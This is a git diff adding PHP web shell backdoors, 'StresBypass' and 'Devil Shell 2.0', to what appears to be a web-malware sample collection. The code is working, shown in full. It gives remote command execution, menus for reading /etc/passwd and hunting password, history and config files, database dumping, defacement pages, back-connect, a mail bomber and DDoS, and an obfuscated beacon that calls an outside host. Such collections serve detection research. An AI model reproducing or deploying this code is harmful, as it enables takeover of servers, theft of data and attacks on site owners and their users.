"<tr><td>$filename</td><td>" . filetype($filename) . "</td><td></td><td>" . date("G:i j M Y",fileatime($filename)) . "</td><td>" . date("G:i j M Y",filemtime($filename)) . "</td><td>" . perms(fileperms($filename)); +if (is_writable($filename) == true){ +$directory = $directory . "<td>Yes</td>";} +else{ +$directory = $directory . "<td>No</td>"; + +} + +if (is_readable($filename) == true){ +$directory = $directory . "<td>Yes</td>";} +else{ +$directory = $directory . "<td>No</td>"; +} +$dires = $dires . $directory; +} + +if (is_file($filename) == true){ +$file = ""; +$file = $file . "<tr><td><a onclick=tag('$filename')>$filename</a></td><td>" . filetype($filename) . "</td><td>" . filesize($filename) . "</td><td>" . date("G:i j M Y",fileatime($filename)) . "</td><td>" . date("G:i j M Y",filemtime($filename)) . "</td><td>" . perms(fileperms($filename)); +if (is_writable($filename) == true){ +$file = $file . "<td>Yes</td>";} +else{ +$file = $file . "<td>No</td>"; +} + +if (is_readable($filename) == true){ +$file = $file . "<td>Yes</td></td></tr>";} +else{ +$file = $file . "<td>No</td></td></tr>"; +} +$files = $files . $file; +} + + + +} + + + +} +echo $dires; +echo $files; +echo "</table><br>"; + + + + +echo " +<form action=\"$REQUEST_URI\" method=\"POST\"> +Emred:<INPUT type=\"text\" name=\"cmd\" size=30 value=\"$cmd\"> + + +Rehber:<INPUT type=\"text\" name=\"dir\" size=30 value=\""; + +echo getcwd(); +echo "\"> +<INPUT type=\"submit\" value=\"..Exec..\"></form>"; + + + + + +if (ini_get('safe_mode') == 1){echo "<br><font size=\"3\"color=\"#cc0000\"><b>SAFE MOD IS ON<br> +Including from here: " +. ini_get('safe_mode_include_dir') . "<br>Exec here: " . ini_get('safe_mode_exec_dir'). "</b></font>";} + + + + +?> </td></tr></table></p></td></tr></table></a><br><hr size="1" noshade><b></form></td></tr></table><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2" bgcolor="#000000"><p align="center"> + <b> + :: </b> + <font face=Verdana size=-2><a href="?act=command">Uygulama Emreder</a></font><b> ::</b></p></td></tr><tr><td width="50%" height="1" valign="top" bgcolor="#000000" style="color: #000000; border: 1px solid #000000"><center><b> + <? + echo " +<form action=\"$REQUEST_URI\" method=\"POST\"> +Command:<INPUT type=\"text\" name=\"cmd\" size=30 value=\"$cmd\">"; +?> + <input type="submit" name="submit1" value="Command" style="border: 1px solid #000000"><font face="Wingdings 3" color="#DCE7EF" size="3">f</font></form><p> + </p> + </td> + <td width="50%" height="1" valign="top" bgcolor="#000000" style="color: #000000"><center> + <form action="?act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="c:/appserv/www/shells/"> + <font color="#DCE7EF">Select</font><font face="Wingdings 3" color="#DCE7EF" size="3">g</font><select name="cmd" size="1"><option value="ls -la"> + -----------------------------------------------------------</option> + <option value="ls -la /var/lib/mysq">ls MySQL</option> + <option value="which curl">cURL ?</option> + <option value="which wget">Wget ?</option> + <option value="which lynx">Lynx ?</option> + <option value="which links">links ?</option> + <option value="which fetch">fetch ?</option> + <option value="which GET">GET ?</option> + <option value="which per">Perl ?</option> + <option value="gcc --help">C gcc Help ?</option> + <option value="tar --help">tar Help ?</option> + <option value="cat /etc/passwd">Get passwd !!!</option> + <option value="cat /etc/hosts">Get hosts</option> + <option value="perl --help">Perl Help ?</option> + <option value="find / -type f -perm -04000 -ls"> + find all suid files</option><option value="find . -type f -perm -04000 -ls"> + find suid files in current dir</option><option value="find / -type f -perm -02000 -ls"> + find all sgid files</option><option value="find . -type f -perm -02000 -ls"> + find sgid files in current dir</option><option value="find / -type f -name config.inc.php"> + find config.inc.php files</option><option value="find / -type f -name "config*""> + find config* files</option><option value="find . -type f -name "config*""> + find config* files in current dir</option><option value="find / -perm -2 -ls"> + find all writable directories and files</option><option value="find . -perm -2 -ls"> + find all writable directories and files in current dir</option><option value="find / -type f -name service.pwd"> + find all service.pwd files</option><option value="find . -type f -name service.pwd"> + find service.pwd files in current dir</option><option value="find / -type f -name .htpasswd"> + find all .htpasswd files</option><option value="find . -type f -name .htpasswd"> + find .htpasswd files in current dir</option><option value="find / -type f -name .bash_history"> + find all .bash_history files</option><option value="find . -type f -name .bash_history"> + find .bash_history files in current dir</option><option value="find / -type f -name .fetchmailrc"> + find all .fetchmailrc files</option><option value="find . -type f -name .fetchmailrc"> + find .fetchmailrc files in current dir</option><option value="lsattr -va"> + list file attributes on a Linux second extended file system</option><option value="netstat -an | grep -i listen"> + show opened ports</option></select><input type="hidden" name="cmd_txt" value="1"> <input type="submit" name="submit" value="Execute" style="border: 1px solid #000000"></form></td></tr></TABLE><a bookmark="minipanel" href="?act=bind"><font face="Verdana" size="-2">Bind port to</font><font face="Webdings" size="5" color="#DCE7EF">?</font></a><font color="#00FF00"><br> +</font> +<a bookmark="minipanel"> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> +<td width="50%" height="1" valign="top" style="color: #DCE7EF" bgcolor="#000000"><form method="POST"> + <p align="center"> +<a bookmark="minipanel"> + <b><font face="verdana" color="red" size="4"> + <a style="font-weight: normal; font-family: verdana; text-decoration: none" bookmark="minipanel"> + <font face="verdana" size="2" color="#DCE7EF">::</font></a></font></b><a href="?act=edit" bookmark="minipanel"><span lang="en-us"><font face="Verdana" size="2">Edit/Create + file</font></span></a><b><font face="verdana" color="red" size="4"><a style="font-weight: normal; font-family: verdana; text-decoration: none" bookmark="minipanel"><font face="verdana" size="2" color="#DCE7EF">::</font></a></font></b><font face="Wingdings 2" size="2">"</font></p><p align="center"> + <? +if ($act == "edit") {echo "<center><b>??????? ????????:<br><br> ?? ???? ??? ????? ???? ???? ?????? ???<br>???? ???? ????? ??? config.php ????<br>Edit<br>????? ?? ????? ??? ??????? ????? <br>????? ? ??? ???? ????? ??? ??? ?? ???? ?? ???????? <br>???? ???? ???? ?????? washer-stres.txt </a>.</b>";} +?> + </p> + <p> </p> + <p> <? + echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\"> +Dosya D�zenle: +<input type=\"text\" name=\"editfile\" > +<INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() ."\"> +<INPUT type=\"submit\" value=\"Edit\"></form></div>"; +?> + </p> + </form></center></p></td> +<td width="50%" height="1" valign="top" style="color: #DCE7EF" bgcolor="#000000"><p align="center"> + <? +if ($act == "upload") {echo "<center><b>??? ???????:<br><br>?? ?????? ????? ?????? ???? <br>???? ???? ?? ?????? ??? ?????? ??????<br>UPLOAD< </a>.</b>";} +?><a bookmark="minipanel"><b><font size="2">:: + </font> + </b><a href="?act=upload"><span lang="en-us"><font face="Verdana" size="2"> + upload</font></span></a><b><font size="2">::</font></b><font face=Webdings size=2>N</font><font size="2"></a></a></font><br><form method="POST" ENCTYPE="multipart/form-data"><input type="hidden" name="miniform" value="1"><input type="hidden" name="act" value="upload"> + <? + echo "<div><FORM method=\"POST\" action=\"$REQUEST_URI\" enctype=\"multipart/form-data\"> +<INPUT type=\"file\" name=\"userfile\"> +<INPUT type=\"hidden\" name=\"post\" value=\"yes\"> +<INPUT type=\"hidden\" name=\"dir\" value=\"" . getcwd() . "\"> +<INPUT type=\"submit\" value=\"Download\"></form></div>"; +?> + <p></form></p></td> + +</tr> +</table> </a><p><br></p><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr> + <td width="990" height="1" valign="top" style="color: #DCE7EF" bgcolor="#000000"><p align="center"> + <b> + </b><font face="Wingdings 3" size="5">y</font><b>StresBypass<span lang="en-us">v1.0</span> <span lang="en-us">pro</span> </b><font color="#CC0000"><b>�oded by</b> </font><b><span lang="en-us"><a href="http://www.biyosecurity.com">BiyoSecurity.Com</a></span> |<span lang="en-us">By Stres</span> </b><font face="Wingdings 3" size="5">x</font></p><p align="center"> </p></td></tr></table> + +</a> + + +<div align="right"> + +<span lang="en-us"> </span></div></body></html> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/ugdevil.v2.0.txt b/web-malware-collection-master/Backdoors/PHP/ugdevil.v2.0.txt new file mode 100755 index 0000000..82a04fb --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/ugdevil.v2.0.txt @@ -0,0 +1,880 @@ +<?php +//========================================// +//========+++DEVIL SHELL 2.0v+++==========// +//========================================// +//====+++CODED BY UNDERGROUNDE DEVIL+++===// +//========================================// +//=====+++TEAM NUTS|| teamnuts.in+++=====// +//========================================// +//====+++EMAIL ID UGDEVIL@GMAIL.COM+++====// +//========================================// +session_start(); +ob_start(); +error_reporting(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +?> + +<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> +<title>υη∂єяgяσυη∂ ∂єνιℓ: αη ιη∂ιαη нα¢кєя</title> +<head><script type=text/javascript> +function only_num(x) +{ +y=x.replace(/[^\d]{1,100}/,'' ); +return y; +} +</script></head> +<body text=#336666 bgcolor="#0000000" style="font-family: Courier New, Courier, monospace; +font-size: 14px;" oncontextmenu="return false;"> +<?php +$pstr="Q3JlZGl0IDogVW5kZXJncm91bmQgRGV2aWwgJm5ic3A7ICB8DQo8YSBocmVmPSJodHRwOi8vdGVhbW51dHMuaW4iPlRlYW0gTnV0czwvYT4NCnwgJm5ic3A7IEVtYWlsOiB1Z2RldmlsQGdtYWlsLmNvbQ=="; + $pv=@phpversion(); + $self=$_SERVER["PHP_SELF"]; + $sm = @ini_get('safe_mode'); + + if(isset($_GET['open'])) + { + chdir($_GET['open']); + $_SESSION['dir']=$_GET['open']; + } + else if(isset($_GET['create'])) + { + chdir($_GET['create']); + $_SESSION['dir']=$_GET['create']; + } + + if(isset($_POST['dsub'])) + { + header('location:'.$self."?open=".$_POST['ndir']); + } + + function validate_email($e1,$e2,$n) + { + + if( (filter_var($e1,FILTER_VALIDATE_EMAIL)) && (filter_var($e2,FILTER_VALIDATE_EMAIL)) ) + { + if(is_numeric($n)) + { + $error=""; + return $error; + } + else + { + $error="Enter valid number of messages"; + + } + } + else + { + $error="Enter Valid Email Id";} + return $error; + } + + function devil_download($path) + { + header('Content-Description: File Transfer'); + header('Content-Type: application/octet-stream'); + header('Content-Disposition: attachment; filename='.basename($path)); + header('Content-Transfer-Encoding: binary'); + header('Expires: 0'); + header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); + header('Pragma: public'); + header('Content-Length: ' . filesize($path)); + ob_clean(); + flush(); + readfile($path); + exit; + } + function sept() + { + $sepr=explode('?',$self); + echo $sepr[0]; + } + + +if(isset($_SESSION['a'])&& !isset($_GET['edit'])) +{ + function dis() + { + if(!ini_get('disable_functions')) + { + echo "None"; + } + else + { + echo @ini_get('disable_functions'); + } + } + function logout() + { + session_destroy(); + header('location:'.$self); + } + function yip() + { + echo $_SERVER["REMOTE_ADDR"]; + } + function odi() + { + $od = @ini_get("open_basedir"); + echo $od; + } + function sip() + { + echo getenv('SERVER_ADDR'); + } + function cip() + { + echo $_SERVER["SERVER_NAME"]; + } + function safe() + { + echo($sm?"YES":"NO"); + } + function browse() + { + $brow= $_SERVER["HTTP_USER_AGENT"]; + print($brow); + } + function db_run($server,$user,$pass,$db,$query) + { + mysql_connect($server,$user,$pass) or die('enable to connect server'); + mysql_select_db($db) or die('enable to connect DB'); + $q1=mysql_query($query) or die('QUERY ERROR'); + $exp=explode($query," "); + if($exp[0]=='SELECT') + { + while($p=mysql_fetch_array($q1)) + { + echo ""; + } + } + echo "Query Run Successfulyy..."; + } + function split_dir() + { + $de=explode("/",getcwd()); + $del=$de[0]; + for($count=0;$count<sizeof($de);$count++) + { + $imp=$imp.$de[$count].'/'; + + echo "<a href=".$self."?open=".$imp.">".$de[$count]."</a> / "; + } + + } + function search_file($new) + { + $de=explode("\\",getcwd()); + $del=$de[0];echo "Finding Files.....<br><br>"; + for($count=0;$count<sizeof($de);$count++) + { + $imp=$imp.$de[$count].'/'; + chdir($imp); + if($handle = opendir('./')) + { + + while (false !== ($file = readdir($handle))) + { + + if($file==$new) + { + echo "<br>$file-<a href=".$self."?edit=".$imp."$file>Edit</a><br>"; + } + + } + } + } + + echo "<br><br>"; + } + +function devil_dump($host,$user,$pass,$name,$tables = '*') +{ + + $link = mysql_connect($host,$user,$pass); + mysql_select_db($name,$link); + + //get all of the tables + if($tables == '*') + { + $tables = array(); + $result = mysql_query('SHOW TABLES'); + while($row = mysql_fetch_row($result)) + { + $tables[] = $row[0]; + } + } + else + { + $tables = is_array($tables) ? $tables : explode(',',$tables); + } + foreach($tables as $table) + { + $result = mysql_query('SELECT * FROM '.$table); + $num_fields = mysql_num_fields($result); + + $return.= 'DROP TABLE '.$table.';'; + $row2 = mysql_fetch_row(mysql_query('SHOW CREATE TABLE '.$table)); + $return.= "\n\n".$row2[1].";\n\n"; + + for ($i = 0; $i < $num_fields; $i++) + { + while($row = mysql_fetch_row($result)) + { + $return.= 'INSERT INTO '.$table.' VALUES('; + for($j=0; $j<$num_fields; $j++) + { + $row[$j] = addslashes($row[$j]); + $row[$j] = ereg_replace("\n","\\n",$row[$j]); + if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } + if ($j<($num_fields-1)) { $return.= ','; } + } + $return.= ");\n"; + } + } + $return.="\n\n\n"; + } + + //save file +$tname=date("mys"); +$tempdb="db_".$tname.".sql"; +$open = fopen($tempdb,'w+'); +fwrite($open,$return); +devil_download($tempdb); +} + + function mysql_ver() + { + $output = shell_exec('mysql -V'); + preg_match('@[0-9]+\.[0-9]+\.[0-9]+@', $output, $ver); + return $ver[0]; + } + + if(isset($_GET['delete'])) + { + unlink($_GET['delete']); + $redir=$_GET['delete']; + rmdir($_GET['delete']); + header('location:'.$self.'?open='.$_SESSION['dir']); + } + function disk($this) + { + if($this=='2') + $ds=disk_free_space("."); + else + $ds=disk_total_space("."); + + if($ds>=1073741824) + { + $ds=number_format(($ds/1073741824),2)." gb"; + } + else if($ds>=1048576) + { + $ds=number_format(($ds/1048576),2)." mb"; + } + else if($size >= 1024) + { + $ds=number_format(($ds/1024),2)." kb"; + } + else + { + $ds=$ds." byte"; + } + +return $ds; + } + + + if($_GET['u']=='logout') + { + logout(); + header('location:'.$self); + } + else if(isset($_POST['u'])) + { + move_uploaded_file($_FILES['a']['tmp_name'],$_SESSION['dir']."/".$_FILES['a']['name']); + move_uploaded_file($_FILES['b']['tmp_name'],$_SESSION['dir']."/".$_FILES['b']['name']); + move_uploaded_file($_FILES['c']['tmp_name'],$_SESSION['dir']."/".$_FILES['c']['name']); + header('location:'.$self."?open=".$_SESSION['dir']); + } + + $str="PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCjwhLS0NCi5zdHlsZTEge2NvbG9yOiAjRkZGRkZGfQ0KDQouc3R5bGUyIHsNCgljb2xvcjogI0ZGRkZGRjsNCglmb250LXNpemU6IDM2cHg7DQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQouc3R5bGUzIHsNCglmb250LXNpemU6IDM2Ow0KCWZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KLS0+DQo8L3N0eWxlPg0KPHAgY2xhc3M9InN0eWxlMiI+ICA8dT5EZXZpbCBWMi4wIFBIUCBTaGVsbDwvdT4gIDwvcD4NCjxwPiA8YnI+DQogIERldmlsIFYxLjMgUEhQIFNoZWxsIGlzIGEgUEhQIFNjcmlwdCwgd2hpY2ggaXMgaGFyZGx5IGRldGVjdGFibGUgYXMgIG1hbGljaW91cyBjb2RlIGNyZWF0ZWQgZm9yIGNoZWNraW5nIHRoZSB2dWxuZXJhYmlsaXR5IGFuZCBzZWN1cml0eSAgY2hlY2sgb2YgYW55IHdlYiBzZXJ2ZXIgb3Igd2Vic2l0ZS4gWW91IGNhbiBjaGVjayB5b3VyIFdlYnNpdGUgYW5kICA/cmVtb3RlIHdlYiBzZXJ2ZXIgU2VjdXJpdHkuIFRoaXMgc2hlbGwgcHJvdmlkZSB5b3UgbW92ZSBpbiBzZXJ2ZXIgIGRpcmVjdG9yeSAsdmlld2luZyBmaWxlcyBwcmVzZW50IGluIGRpcmVjdG9yeSAseW91IGNhbj8gZGVsZXRlICxlZGl0ICBhbmQgdXBsb2FkIHByb2ZpbGVzLiBNb3JlIG92ZXIgeW91IGNhbiBjaGVjayA6IDxzcGFuIGNsYXNzPSJzdHlsZTEiPjxzdHJvbmc+U2VydmVyIElQICxZb3VyIElQLCBIb3N0ZWQgUEhQIFZlcnNpb24gLCBTZXJ2ZXIgUG9ydCwgU2FmZSBtb2RlIDogWWVzL05vLCBEaXNrIFNwYWNlLCBmcmVlIFNwYWNlLE1haWwgQm9tYmluZzwvc3Ryb25nPiA8c3Ryb25nPkREb1MgQXR0YWNrLE1haWwgQm9tYmluZyxDcmVhdGUgRmlsZSBhbmQgRm9sZGVyPC9zdHJvbmc+PC9zcGFuPjxzdHJvbmc+IGV0Yzwvc3Ryb25nPiA8L3A+DQo8cD48c3Ryb25nPjx1PkF0dHJhY3RpdmUgZmVhdHVyZSB3aGljaCBtYWtlIGRpZmZlcmVudCB3aXRoIG90aGVyIHNoZWxsPC91Pjwvc3Ryb25nPjwvcD4NCjx1bD4NCiAgPGxpPlVuZGV0ZWN0YWJsZSBieSBHb29nbGUgRG9yazwvbGk+DQogIDxsaT5CYWNrLUNvbm5lY3QgW0F2YWlsYWJsZSBpbiBQYWlkIFZlcnNpb25dPC9saT4NCiAgPGxpPkRhdGFiYXNlIER1bXAgW0F1dG9tYXRpYyBEdW1wIGF2YWlsYWJsZSBpbiBQYWlkIFZlcnNpb25dPC9saT4NCiAgPGxpPlNRTCBhbmQgTGludXggQ29tbWFuZCBSdW48L2xpPg0KICA8bGk+RnJvbnQvRGVmYWNlIFBhZ2UgQ3JlYXRvcjwvbGk+DQogIDxsaT5NYWlsIEJvbWJlciBUZXN0aW5nPC9saT4NCiAgPGxpPkREb1MgYXR0YWNrZXIgVGVzdGluZzwvbGk+DQogIDxsaT5TZWxmIGtpbGw8L2xpPg0KICA8bGk+SW5kaXZpdXNhbCBMb2dpbidzPC9saT4NCjwvdWw+DQo8cD4gPHU+PHN0cm9uZz5MaW1pdGF0aW9uczwvc3Ryb25nPiA8L3U+PGJyPg0KICBNb3N0bHkgRnVuY3Rpb24gYXJlIHdvcmtpbmcgb24gbGludXggc2VydmVycy4gPC9wPg0KPHA+IDxzdHJvbmc+PHU+QWJvdXQgQ29kZXI8L3U+PC9zdHJvbmc+IDogPGJyPg0KICBTY3JpcHQgaXMgY3JlYXRlZCBieSBVbmRlcmdyb3VuZCBEZXZpbCBhbiBJbmRpYW4gRXRoaWNhbCBoYWNrZXIuSSBsaWtlIHRvIHRoYW5rZnVsIHRvIG15IG1hdGVzIDxzcGFuIGNsYXNzPSJzdHlsZTEiPkFuZWVzaCxSYWh1bCBhbmQgTWF5YW5rPC9zcGFuPiB3aG8gaW5zcGlyZSBhbmQgaGVscGVkIG1lIHRvIGRldmVsb3AgdGhpcyBjb2RlLiA8L3A+DQo8cD4gWW91IGNhbiBkb3dubG9hZD8gdGhpcyBzY3JpcHQgZnJvbSA8c3Ryb25nPjxhIGhyZWY9Imh0dHA6Ly93d3cudGVhbW51dHMuaW4iPnd3dy50ZWFtbnV0cy5pbjwvYT48L3N0cm9uZz4gPyAudGhpcyBpcyByZWxlYXNlIHVuZGVyIDxzcGFuIGNsYXNzPSJzdHlsZTEiPjxzdHJvbmc+R05VIEdFTkVSQUwgUFVCTElDIExJQ0VOU0U8L3N0cm9uZz48L3NwYW4+IDwvcD4NCjxwPiA8c3Ryb25nPjx1PkRlY2xhcmF0aW9uOjwvdT4gPC9zdHJvbmc+IDxicj4NCiAgVGhpcyBzY3JpcHQgb25seSBmb3IgZWR1Y2F0aW9uIHB1cnBvc2Ugb3IgdGVzdGluZyB5b3VyIG93biBzZXJ2ZXIuRG9uJ3QgbWlzcyB1c2UgaXQgb3RoZXJ3aXNlICB0aGUgc2NyaXB0IG1ha2VyIGlzIG5vdCByZXNwb25zaWJlIGZvciBhbnkgY2FzdWFsaXR5IG9yIGRhbWFnZS4gPC9wPg0KPHA+IDxzdHJvbmc+PHU+SW5zdGFsbGF0aW9uOjwvdT48L3N0cm9uZz4gPGJyPg0KICBTaW1wbGUgaW5zdGFsbGF0aW9uIGp1c3QgcGVuZXRyYXRlIHRoZSBmaWxlIHVzaW5nIEZUUCBvciBodG1sIFVwbG9hZGVyIG9uIHNlcnZlciBhbmQgY2hlY2sgdGhlIHNpdGUgdnVsbmVyYWJpbGl0eS4gPC9wPg0KPHA+IFRoaXMgaXMgcGFzc3dvcmQgcHJvdGVjdGVkIHNoZWxsIHNvIHlvdSBjYW4gc2VuZCBlbWFpbCB0byBnZXQgdXNlcm5hbWUgb3IgcGFzc3dvcmQgPGJyPg0KICBhdCA8c3BhbiBjbGFzcz0ic3R5bGUxIj51Z2RldmlsQGdtYWlsLmNvbTwvc3Bhbj4gPC9wPg0KPHA+IDxzdHJvbmc+PHU+U3VnZ2VzdGlvbi9CdWcvUmVwb3J0OjwvdT48L3N0cm9uZz4gPGJyPg0KICBPdXIgdGVhbSBkbyB0aGUgaGFyZHdvcmsgZm9yIG1ha2luZyB0aGlzLGFmdGVydGhhdCBpZiB5b3UgZmluZCBhbnkgYnVncywgZG9uJ3QgaGVzaXRhdGUgdG8gaW5mb3JtIG1lIGF0IHVnZGV2aWxAZ21haWwuY29tIDwvcD4NCjxwPiBEb3dubG9hZCA8YnI+DQogIFlvdSBjYW4gZG93bmxvYWQgc2hlbGwgZnJvbSA8c3Ryb25nPjxhIGhyZWY9Imh0dHA6Ly93d3cudGVhbW51dHMuaW4iPnd3dy50ZWFtbnV0cy5pbjwvYT48L3N0cm9uZz4gYW5kIGFsc28gdmlzaXQgPHN0cm9uZz48YSBocmVmPSJodHRwOi8vd3d3LnRlYW1udXRzLmluIj53d3cudGVhbW51dHMuaW48L2E+PC9zdHJvbmc+ICAgZm9yIGxhdGVzdCB2ZXJzaW9uLm9yIHlvdSBjYW4gbWFpbCBtZSBmb3IgdGhpcyBzY3JpcHQgYXQgIHVnZGV2aWxAZ21haWwuY29tIDwvcD4NCg=="; + + +?> +<table width=100%> +<tr><td bgcolor="#000000"><table> +<tr height=20><td width=100 bgcolor=orange></td><td rowspan=3 width=700><font color=#33CCCC face="Monotype Corsiva" size=7><?php echo base64_decode("RGV2aWwgU2hlbGw="); ?></font> <font color=#FFffff><?php echo base64_decode('VjIuMA=='); ?></font></td><td rowspan=3><?php echo base64_decode('PGltZyBzcmM9aHR0cDovL2kxMTc5LnBob3RvYnVja2V0LmNvbS9hbGJ1bXMveDM5MC9wYXVsbW9uY3kvdGVhbW51dHMvbG9nby5wbmcgYWx0PSJVbmRlcmdyb3VuZCBEZXZpbCIgaGVpZ2h0PTcwPg=='); ?></td></tr> +<tr width=100 height=20 bgcolor=white><th><font color=blue><?php echo base64_decode("SU5ESUE="); ?></font></th></tr> +<tr width=100 height=20 bgcolor=green><td></td></tr> +</table> + +</td> +</tr> +<tr><td bgcolor="#000000"> <hr class=li><a href=<?php echo $self."?open="; ?>>Shell</a> | <a href=<?php echo $self."?create=".$_SESSION['dir']?>>Create File</a> | +<a href=<?php echo $self."?bc"; ?>><font color=#FF6633 size=2>Back Connect</font></a> | +<a href=<?php echo $self."?run"; ?>>Run Command[<font color=#FF6633 size=2>NEW</font>]</a> | +<a href=<?php echo $self."?mail"; ?>>Mail Bomber</a> | +<a href=<?php echo $self."?dos"; ?>>DOS ATTACK</a> | +<a href=<?php echo $self;?>?warning>Declaration</a> | +<br><a href=<?php echo $self;?>?cdp>Create Deface Page</a> | +<a href=<?php echo $self;?>?sf>Search File[<font color=#FF6633 size=2>NEW</font>]</a> | +<a href=<?php echo $self;?>?dd>Database Dump[<font color=#FF6633 size=2>NEW</font>]</a> | +<a href=<?php echo $self."?moreinfo"; ?>>More Information</a> | +<a href=<?php echo $self."?phpinfo"; ?>>PHP Info</a> | <br> +<a href=http://www.teamnuts.in target=_blank>Shell Tutorial</a> | +<a href=<?php echo $self;?>?self>Self Kill</a> | +<a href=<?php echo $self;?>?u=logout>Logout</a></td> +</tr> +<tr><td bgcolor="#000000"> <hr class=li><span class=hd>Server IP :</span><span class=head> <?php cip(); ?></span> +&nbsp;&nbsp;&nbsp;&nbsp;<span class=hd>Your IP : </span><span class=head> <?php yip(); ?></span> +&nbsp;&nbsp;&nbsp;&nbsp;<span class=hd>PHP Version : </span> <span class=head><?php echo $pv; ?></span> + +&nbsp;&nbsp;<span class=hd>Server Port :</span> <span class=head><?php echo $_SERVER['SERVER_PORT'];?></span> +&nbsp;&nbsp;&nbsp;&nbsp;<span class=hd>Safe Mode :</span> <span class=head><?php safe();?></span> +&nbsp;&nbsp;&nbsp;&nbsp;<span class=hd>Disk Space :</span> <span class=head><?php echo disk(1);?></span><br> +<br><span class=hd>free Space :</span> <span class=head><?php echo disk(2);?></span> + +<span class=hd>Your System info :</span> <span class=head><?php echo php_uname(); ?></span> + +<br><br> +<span class=hd>Directory : </span> <span class=head><?php echo split_dir();?></span> <span class=hd>View Other Directories</span> <span class=head>[<a href=<?php echo $self;?>?open=c:/>C:</a>]</span> | <span class=head>[<a href=<?php echo $self;?>?open=D:/>D:</a>]</span> +| <span class=head>[<a href=<?php echo $self;?>?open=E:/>E:</a>]</span> + <hr class=li> +</td></tr> +<tr><td bgcolor="#000000"> +<table width=100% class=tab> + +<?php + if(isset($_GET['create'])) + { + if(isset($_SESSION['a'])) + { + echo "<form action=$self?edit=".$_SESSION['a']." method=post>"; + } + else + { + echo "<form action=$self?edit= method=post>"; + + } + + ?> + <center> + <table> + <tr><td><span class=head>File Name </span> </td><td><input type=text name=fn size=70></td></tr> + <tr><td colspan=2><span class=head>File content</td></tr> + <tr><th colspan=2><center><textarea rows=15 cols=70 name=fc></textarea></th></tr> +<tr><th colspan=2><input type=submit value="Create File"> + </th></tr></table> + </form> + <?php + } + else if(isset($_GET['cdp'])) + { + ?> <form action=# method=post> +<table> +<tr><td>Save At : </td><td><input type=text name=sa value=<?php echo realpath(''); ?>></td></tr> +<tr><td>FILE NAME : </td><td><input type=text name=fn></td></tr> +<tr><td>FILE Title: </td><td><input type=text name=ft size=50></td></tr> +<tr><td>BACKGROUND COLOR : </td><td><input type=text value=#000000 name=bc></td></tr> +<tr><td>Main Picture : </td><td><input type=text name=pic> WIDTH <input type=text name=w size=10 value=400>HEIGHT <input type=text name=h value=300></td></tr> +<tr><td>First Head Line : </td><td><input type=text name=fh size=50> COLOR <input type=text name=col1 value=#FF0033></td></tr> +<tr><td>Material : </td><td><textarea name=mat rows=10 cols=50></textarea> COLOR <input type=text name=col2 value=#fffff><br>Center Material BG COLOR <input type=text name=col4 value=#fff></td></tr> +<tr><td>Footer Note : </td><td><input type=text name=foot> COLOR <input type=text name=col3 value=#ff0033></td></tr> +<tr><th colspan=2><input type=submit value="CREATE DEFACE PAGE"></th></tr> +</table> +</form> +<?php +$filn=$_POST['fn']; +$sa=$_POST['sa']; +$bc=$_POST['bc']; +$pic=$_POST['pic']; +$fh=$_POST['fh']; +$ft=$_POST['ft']; +$mat=nl2br($_POST['mat']); +$foot=$_POST['foot']; +$w=$_POST['w']; +$h=$_POST['h']; +$c1=$_POST['col1']; +$c2=$_POST['col2']; +$c3=$_POST['col3']; +$c4=$_POST['col4']; +echo $filn; +if(!empty($filn)) +{ +$fil=fopen($sa."/".$filn,'w'); +fwrite($fil,"<html><title>".$ft."</title><body bgcolor=".$bc." text=#ffff><br><br><center><img src=".$pic." width=".$w." height=".$h."><br><h2><font color=".$c1.">".$fh."</font></h2> + +<table width=700 height=50 bgcolor=".$c4." style='border:double; border-color:#FF0033;'> <tr><td><p><font color=".$c2.">".$mat."</font></p> +</td></tr></table> +<br><br><p><font color=".$c3.">".$foot."</font></p> +"); +header('location:'.$self."?done=".$filn); +} + + +} +else if(isset($_GET['sf'])) + { + echo "<br><br><form action=# method=post>Search File : <input type=text name=s_f><input type=submit value='Search File'> </form><br><br>"; + if(!empty($_POST['s_f'])) + search_file($_POST['s_f']); + } + +else if(isset($_GET['done'])) + { + echo "<br><br>".$_GET['done']." PAGE CREATE Successfully Move To Shell Home Page <a href=".$self.">Click HERE</a>"; + } + else if(isset($_GET['warning'])) + { + + echo base64_decode($str); + + } +else if(isset($_GET['phpinfo'])) +{ + echo "<center>".phpinfo(); +} +else if(isset($_GET['self'])) +{ + unlink(__FILE__); +} +else if(isset($_GET['dd'])) +{ + ?> + <center>Mannually</center> + <hr width=100 class=li> + <form action=# method=post> + <table cellspacing=10> + <tr><td width=200>Server Name</td><td width=200><input type=text name=s1></td><td rowspan=4 width=300><?php echo 